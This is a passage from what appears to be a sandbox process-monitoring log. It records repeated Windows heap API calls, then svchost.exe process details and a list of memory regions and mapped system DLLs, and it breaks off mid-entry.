[0173.996] GetProcessHeap () returned 0x480000 [0173.996] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x486ec0) returned 1 [0173.996] GetProcessHeap () returned 0x480000 [0173.996] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x486ec0) returned 0x14 [0173.996] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x486ec0 | out: hHeap=0x480000) returned 1 [0173.996] GetProcessHeap () returned 0x480000 [0173.996] GetProcessHeap () returned 0x480000 [0173.996] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x486ee0) returned 1 [0173.996] GetProcessHeap () returned 0x480000 [0173.996] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x486ee0) returned 0x14 [0173.996] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x486ee0 | out: hHeap=0x480000) returned 1 [0173.996] GetProcessHeap () returned 0x480000 [0173.996] GetProcessHeap () returned 0x480000 [0173.996] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x488798) returned 1 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x488798) returned 0x14 [0173.997] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x488798 | out: hHeap=0x480000) returned 1 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x487498) returned 1 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x487498) returned 0x10 [0173.997] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x487498 | out: hHeap=0x480000) returned 1 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c258) returned 1 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c258) returned 0x14 [0173.997] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c258 | out: hHeap=0x480000) returned 1 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c298) returned 1 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c298) returned 0x14 [0173.997] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c298 | out: hHeap=0x480000) returned 1 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c1d8) returned 1 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c1d8) returned 0x14 [0173.997] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c1d8 | out: hHeap=0x480000) returned 1 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] GetProcessHeap () returned 0x480000 [0173.997] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c198) returned 1 [0173.998] GetProcessHeap () returned 0x480000 [0173.998] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c198) returned 0x14 [0173.998] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c198 | out: hHeap=0x480000) returned 1 [0173.998] GetProcessHeap () returned 0x480000 [0173.998] GetProcessHeap () returned 0x480000 [0173.998] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c178) returned 1 [0173.998] GetProcessHeap () returned 0x480000 [0173.998] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c178) returned 0x14 [0173.998] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c178 | out: hHeap=0x480000) returned 1 [0173.998] GetProcessHeap () returned 0x480000 [0173.998] GetProcessHeap () returned 0x480000 [0173.998] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c418) returned 1 [0173.998] GetProcessHeap () returned 0x480000 [0173.998] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c418) returned 0x14 [0173.998] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c418 | out: hHeap=0x480000) returned 1 [0173.998] GetProcessHeap () returned 0x480000 [0173.998] GetProcessHeap () returned 0x480000 [0173.998] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c1f8) returned 1 [0173.998] GetProcessHeap () returned 0x480000 [0173.998] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c1f8) returned 0x14 [0173.998] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c1f8 | out: hHeap=0x480000) returned 1 [0173.998] GetProcessHeap () returned 0x480000 [0173.998] GetProcessHeap () returned 0x480000 [0173.998] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x487408) returned 1 [0173.999] GetProcessHeap () returned 0x480000 [0173.999] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x487408) returned 0x10 [0173.999] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x487408 | out: hHeap=0x480000) returned 1 [0173.999] GetProcessHeap () returned 0x480000 [0173.999] GetProcessHeap () returned 0x480000 [0173.999] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c1b8) returned 1 [0173.999] GetProcessHeap () returned 0x480000 [0173.999] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c1b8) returned 0x14 [0173.999] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c1b8 | out: hHeap=0x480000) returned 1 [0173.999] GetProcessHeap () returned 0x480000 [0173.999] GetProcessHeap () returned 0x480000 [0173.999] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x4873d8) returned 1 [0173.999] GetProcessHeap () returned 0x480000 [0173.999] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x4873d8) returned 0x10 [0173.999] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x4873d8 | out: hHeap=0x480000) returned 1 [0173.999] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0173.999] exit (_Code=0) Thread: id = 122 os_tid = 0xab0 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x73857000" os_pid = "0x37c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x218" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xa], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c3d5" [0xc000000f], "LOCAL" [0x7] Region: id = 1797 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1798 start_va = 0x20000 end_va = 0x21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1799 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1800 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1801 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1802 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1803 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1804 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1805 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1806 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1807 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1808 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1809 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1810 start_va = 0x400000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1811 start_va = 0x480000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1812 start_va = 0x4a0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 1813 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 1814 start_va = 0x4d0000 end_va = 0x4d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 1815 start_va = 0x4e0000 end_va = 0x543fff monitored = 0 entry_point = 0x4f5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1816 start_va = 0x550000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1817 start_va = 0x570000 end_va = 0x570fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 1818 start_va = 0x580000 end_va = 0x586fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 1819 start_va = 0x590000 end_va = 0x590fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 1820 start_va = 0x5a0000 end_va = 0x5a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 1821 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 1822 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 1823 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1824 start_va = 0x700000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1825 start_va = 0x800000 end_va = 0x987fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 1826 start_va = 0x990000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 1827 start_va = 0xb20000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b20000" filename = "" Region: id = 1828 start_va = 0xbe0000 end_va = 0xfdafff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000be0000" filename = "" Region: id = 1829 start_va = 0x10f0000 end_va = 0x10f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 1830 start_va = 0x1100000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 1831 start_va = 0x1200000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1832 start_va = 0x1300000 end_va = 0x137ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1833 start_va = 0x1380000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 1834 start_va = 0x1400000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1835 start_va = 0x1500000 end_va = 0x157ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1836 start_va = 0x15c0000 end_va = 0x15c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 1837 start_va = 0x1600000 end_va = 0x16fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 1838 start_va = 0x1700000 end_va = 0x177ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 1839 start_va = 0x1780000 end_va = 0x17fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001780000" filename = "" Region: id = 1840 start_va = 0x1800000 end_va = 0x187ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 1841 start_va = 0x1880000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001880000" filename = "" Region: id = 1842 start_va = 0x1900000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 1843 start_va = 0x1a00000 end_va = 0x1a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 1844 start_va = 0x1a90000 end_va = 0x1b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a90000" filename = "" Region: id = 1845 start_va = 0x1c00000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 1846 start_va = 0x1d00000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 1847 start_va = 0x1e00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 1848 start_va = 0x1f00000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 1849 start_va = 0x2000000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 1850 start_va = 0x2100000 end_va = 0x2436fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1851 start_va = 0x2500000 end_va = 0x25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 1852 start_va = 0x2600000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 1853 start_va = 0x2700000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 1854 start_va = 0x2800000 end_va = 0x28dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1855 start_va = 0x2940000 end_va = 0x2a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 1856 start_va = 0x2a40000 end_va = 0x2b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 1857 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 1858 start_va = 0x2e00000 end_va = 0x2efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 1859 start_va = 0x2f00000 end_va = 0x2ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 1860 start_va = 0x3000000 end_va = 0x30fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1861 start_va = 0x3200000 end_va = 0x32fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 1862 start_va = 0x3300000 end_va = 0x33fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 1863 start_va = 0x3400000 end_va = 0x34fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003400000" filename = "" Region: id = 1864 start_va = 0x3500000 end_va = 0x35fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003500000" filename = "" Region: id = 1865 start_va = 0x3600000 end_va = 0x36fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003600000" filename = "" Region: id = 1866 start_va = 0x3d00000 end_va = 0x3dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d00000" filename = "" Region: id = 1867 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1868 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1869 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1870 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1871 start_va = 0x7ff6bac60000 end_va = 0x7ff6bac6cfff monitored = 0 entry_point = 0x7ff6bac63980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1872 start_va = 0x7ffb0dff0000 end_va = 0x7ffb0e022fff monitored = 0 entry_point = 0x7ffb0dffae20 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 1873 start_va = 0x7ffb0eea0000 end_va = 0x7ffb0f057fff monitored = 0 entry_point = 0x7ffb0eea5550 region_type = mapped_file name = "wmalfxgfxdsp.dll" filename = "\\Windows\\System32\\WMALFXGFXDSP.dll" (normalized: "c:\\windows\\system32\\wmalfxgfxdsp.dll") Region: id = 1874 start_va = 0x7ffb0ff00000 end_va = 0x7ffb0ff87fff monitored = 0 entry_point = 0x7ffb0ff14510 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 1875 start_va = 0x7ffb110e0000 end_va = 0x7ffb110f3fff monitored = 0 entry_point = 0x7ffb110e1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1876 start_va = 0x7ffb11100000 end_va = 0x7ffb111f5fff monitored = 0 entry_point = 0x7ffb11139590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1877 start_va = 0x7ffb11680000 end_va = 0x7ffb11690fff monitored = 0 entry_point = 0x7ffb11682fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1878 start_va = 0x7ffb12f30000 end_va = 0x7ffb12faefff monitored = 0 entry_point = 0x7ffb12f47110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1879 start_va = 0x7ffb1c720000 end_va = 0x7ffb1c74afff monitored = 0 entry_point = 0x7ffb1c72c3c0 region_type = mapped_file name = "rtworkq.dll" filename = "\\Windows\\System32\\RTWorkQ.dll" (normalized: "c:\\windows\\system32\\rtworkq.dll") Region: id = 1880 start_va = 0x7ffb1c750000 end_va = 0x7ffb1c85cfff monitored = 0 entry_point = 0x7ffb1c77f420 region_type = mapped_file name = "mfplat.dll" filename = "\\Windows\\System32\\mfplat.dll" (normalized: "c:\\windows\\system32\\mfplat.dll") Region: id = 1881 start_va = 0x7ffb1da60000 end_va = 0x7ffb1da6dfff monitored = 0 entry_point = 0x7ffb1da62e50 region_type = mapped_file name = "cmintegrator.dll" filename = "\\Windows\\System32\\cmintegrator.dll" (normalized: "c:\\windows\\system32\\cmintegrator.dll") Region: id = 1882 start_va = 0x7ffb1db80000 end_va = 0x7ffb1dbb7fff monitored = 0 entry_point = 0x7ffb1db868f0 region_type = mapped_file name = "wcmcsp.dll" filename = "\\Windows\\System32\\wcmcsp.dll" (normalized: "c:\\windows\\system32\\wcmcsp.dll") Region: id = 1883 start_va = 0x7ffb1dbc0000 end_va = 0x7ffb1dc58fff monitored = 0 entry_point = 0x7ffb1dbda090 region_type = mapped_file name = "wcmsvc.dll" filename = "\\Windows\\System32\\wcmsvc.dll" (normalized: "c:\\windows\\system32\\wcmsvc.dll") Region: id = 1884 start_va = 0x7ffb1dd20000 end_va = 0x7ffb1dd39fff monitored = 0 entry_point = 0x7ffb1dd22430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1885 start_va = 0x7ffb1dd40000 end_va = 0x7ffb1dd55fff monitored = 0 entry_point = 0x7ffb1dd419f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1886 start_va = 0x7ffb1dd60000 end_va = 0x7ffb1dd97fff monitored = 0 entry_point = 0x7ffb1dd78cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1887 start_va = 0x7ffb1dda0000 end_va = 0x7ffb1ddaafff monitored = 0 entry_point = 0x7ffb1dda1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1888 start_va = 0x7ffb1dea0000 end_va = 0x7ffb1dee7fff monitored = 0 entry_point = 0x7ffb1deaa1e0 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 1889 start_va = 0x7ffb1def0000 end_va = 0x7ffb1df4cfff monitored = 0 entry_point = 0x7ffb1df02bf0 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 1890 start_va = 0x7ffb1e710000 end_va = 0x7ffb1e81afff monitored = 0 entry_point = 0x7ffb1e752610 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 1891 start_va = 0x7ffb1e890000 end_va = 0x7ffb1e8a0fff monitored = 0 entry_point = 0x7ffb1e893320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 1892 start_va = 0x7ffb1f6a0000 end_va = 0x7ffb1f7d5fff monitored = 0 entry_point = 0x7ffb1f6cf350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 1893 start_va = 0x7ffb20ec0000 end_va = 0x7ffb20f2ffff monitored = 0 entry_point = 0x7ffb20ee2960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 1894 start_va = 0x7ffb21040000 end_va = 0x7ffb21107fff monitored = 0 entry_point = 0x7ffb210813f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1895 start_va = 0x7ffb21440000 end_va = 0x7ffb21457fff monitored = 0 entry_point = 0x7ffb21445910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1896 start_va = 0x7ffb215b0000 end_va = 0x7ffb215f9fff monitored = 0 entry_point = 0x7ffb215bac30 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 1897 start_va = 0x7ffb21960000 end_va = 0x7ffb21b10fff monitored = 0 entry_point = 0x7ffb219b3690 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 1898 start_va = 0x7ffb22410000 end_va = 0x7ffb22418fff monitored = 0 entry_point = 0x7ffb224119a0 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 1899 start_va = 0x7ffb22420000 end_va = 0x7ffb2242afff monitored = 0 entry_point = 0x7ffb22421cd0 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 1900 start_va = 0x7ffb23670000 end_va = 0x7ffb237f5fff monitored = 0 entry_point = 0x7ffb236bd700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1901 start_va = 0x7ffb23860000 end_va = 0x7ffb23872fff monitored = 0 entry_point = 0x7ffb23862760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1902 start_va = 0x7ffb23b60000 end_va = 0x7ffb23b86fff monitored = 0 entry_point = 0x7ffb23b67940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1903 start_va = 0x7ffb23b90000 end_va = 0x7ffb23c39fff monitored = 0 entry_point = 0x7ffb23bb7910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1904 start_va = 0x7ffb23ea0000 end_va = 0x7ffb23ed1fff monitored = 0 entry_point = 0x7ffb23eb2340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 1905 start_va = 0x7ffb24120000 end_va = 0x7ffb24143fff monitored = 0 entry_point = 0x7ffb24123260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1906 start_va = 0x7ffb242c0000 end_va = 0x7ffb243b3fff monitored = 0 entry_point = 0x7ffb242ca960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1907 start_va = 0x7ffb24530000 end_va = 0x7ffb2453bfff monitored = 0 entry_point = 0x7ffb245327e0 region_type = mapped_file name = "netutils.dll" filename = 